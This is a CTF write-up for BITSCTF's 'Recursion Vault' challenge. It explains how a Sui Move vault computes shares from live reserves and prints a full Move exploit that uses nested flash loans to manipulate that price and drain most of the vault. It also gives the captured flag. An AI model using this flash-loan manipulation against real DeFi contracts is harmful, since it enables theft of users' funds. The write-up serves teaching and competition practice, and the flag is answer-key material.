./contents.sh

z0d1ak@ctf:~$ cat sections.md
z0d1ak@ctf:~$ _
writeup.md - z0d1ak@ctf
misc
BITS CTF
March 3, 2026
6 min read

Recursion Vault

ds4x
z0d1ak@ctf:~$ ./author.sh

# Recursion Vault (BITSCTF)

## Flag Captured: BITSCTF{654cd03e11c33c3b878925ba8455cf36}

## 1. Executive Summary

The Recursion Vault challenge featured a DeFi-style smart contract on the Sui blockchain holding 10 Billion SUI. The goal was to exploit the vault's logic to drain at least 90% of its total balance. By identifying a critical flaw in how share prices were calculated during deposits, I was able to use nested flash loans to manipulate the vault's reserves and mint a massive amount of shares for a negligible cost.


## 2. Vulnerability Analysis

The core issue resides in the deposit function of the vault.move contract. The contract determines how many shares a user receives based on the current "reserves" (the live balance of SUI in the vault).

### The Flawed Formula

The contract calculates shares as follows:

shares=amount×vault.total_sharesreservesshares = \frac{amount \times vault.total\_shares}{reserves}

### The Exploit Vector

The reserves value is fetched using balance::value(&vault.reserves). Because the vault allows uncollateralized flash loans, an attacker can temporarily reduce the reserves to a near-zero value.

When the reserves (the denominator) is extremely small, the resulting shares (the output) becomes enormous. This is a classic Price Oracle Manipulation attack where the "price" of a share is manipulated by altering the vault's balance mid-transaction.


## 3. The Exploit Strategy

Since I started with 0 SUI, I needed a way to both trigger the bug and pay the 0.09% flash loan fees. The solution was to use Recursive (Nested) Flash Loans.

StepActionPurpose
1Outer LoanBorrow 30M SUI to act as working capital for fees and the attack deposit.
2Inner LoanBorrow 9.969B SUI to "empty" the vault, leaving only 1M SUI in reserves.
3DepositDeposit 10M SUI. Since reserves are only 1M, I receive 10x the total share supply.
4Repay InnerReturn the 9.969B SUI + fee using the working capital.
5WithdrawUse the massive share balance to withdraw ~9.9B SUI from the now-refilled vault.
6Repay OuterReturn the 30M SUI + fee and pocket the billions in profit.

## 4. Implementation (Move Exploit)

The following Move code executes the nested loan strategy within a single transaction block:

rust
module solution::exploit { use sui::tx_context::{Self, TxContext}; use sui::coin::{Self, Coin}; use sui::sui::SUI; use challenge::vault::{Self, Vault}; use sui::clock::{Clock}; public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) { // 1. OUTER LOAN: Borrow 30 Million SUI as working capital let (mut outer_coin, outer_receipt) = vault::flash_loan(vault, 30_000_000, ctx); // 2. INNER LOAN: Borrow 9.969 Billion SUI // This leaves exactly 1,000,000 SUI in the vault reserves let inner_borrow_amt = 9_969_000_000; let (mut inner_coin, inner_receipt) = vault::flash_loan(vault, inner_borrow_amt, ctx); // 3. THE EXPLOIT DEPOSIT: We deposit 10 Million SUI. // Because the reserves are only 1M, this mints us a massive amount of shares. let mut account = vault::create_account(ctx); let deposit_coin = coin::split(&mut outer_coin, 10_000_000, ctx); vault::deposit(vault, &mut account, deposit_coin, ctx); // 4. REPAY INNER LOAN // We pay the 0.09% fee using our outer_coin working capital. let inner_fee = (inner_borrow_amt * 9) / 10000; let fee_coin = coin::split(&mut outer_coin, inner_fee, ctx); coin::join(&mut inner_coin, fee_coin); vault::repay_loan(vault, inner_coin, inner_receipt); // 5. WITHDRAW MASSIVE SHARES // The vault is restored, but we own the vast majority of it. let my_shares = vault::user_shares(&account); let ticket = vault::create_ticket(vault, &mut account, my_shares, clock, ctx); let mut payout_coin = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx); // 6. REPAY OUTER LOAN let outer_repay_amt = 30_027_000; let remaining_outer = coin::value(&outer_coin); let amount_needed_from_payout = outer_repay_amt - remaining_outer; let repayment_part = coin::split(&mut payout_coin, amount_needed_from_payout, ctx); coin::join(&mut outer_coin, repayment_part); vault::repay_loan(vault, outer_coin, outer_receipt); // 7. TRANSFER PROFITS sui::transfer::public_transfer(payout_coin, tx_context::sender(ctx)); vault::destroy_account(account); } }

## 5. Execution & Results

  • File Size: 2901 bytes
  • Connection: Accessed the remote server via nc chals.bitskrieg.in 38778
  • Outcome: The server compiled the module, executed the solve function, and validated that the vault was drained.

Flag Captured: BITSCTF{654cd03e11c33c3b878925ba8455cf36}

wup 1.

wup 1.

Comments(0)

No comments yet. Be the first to share your thoughts!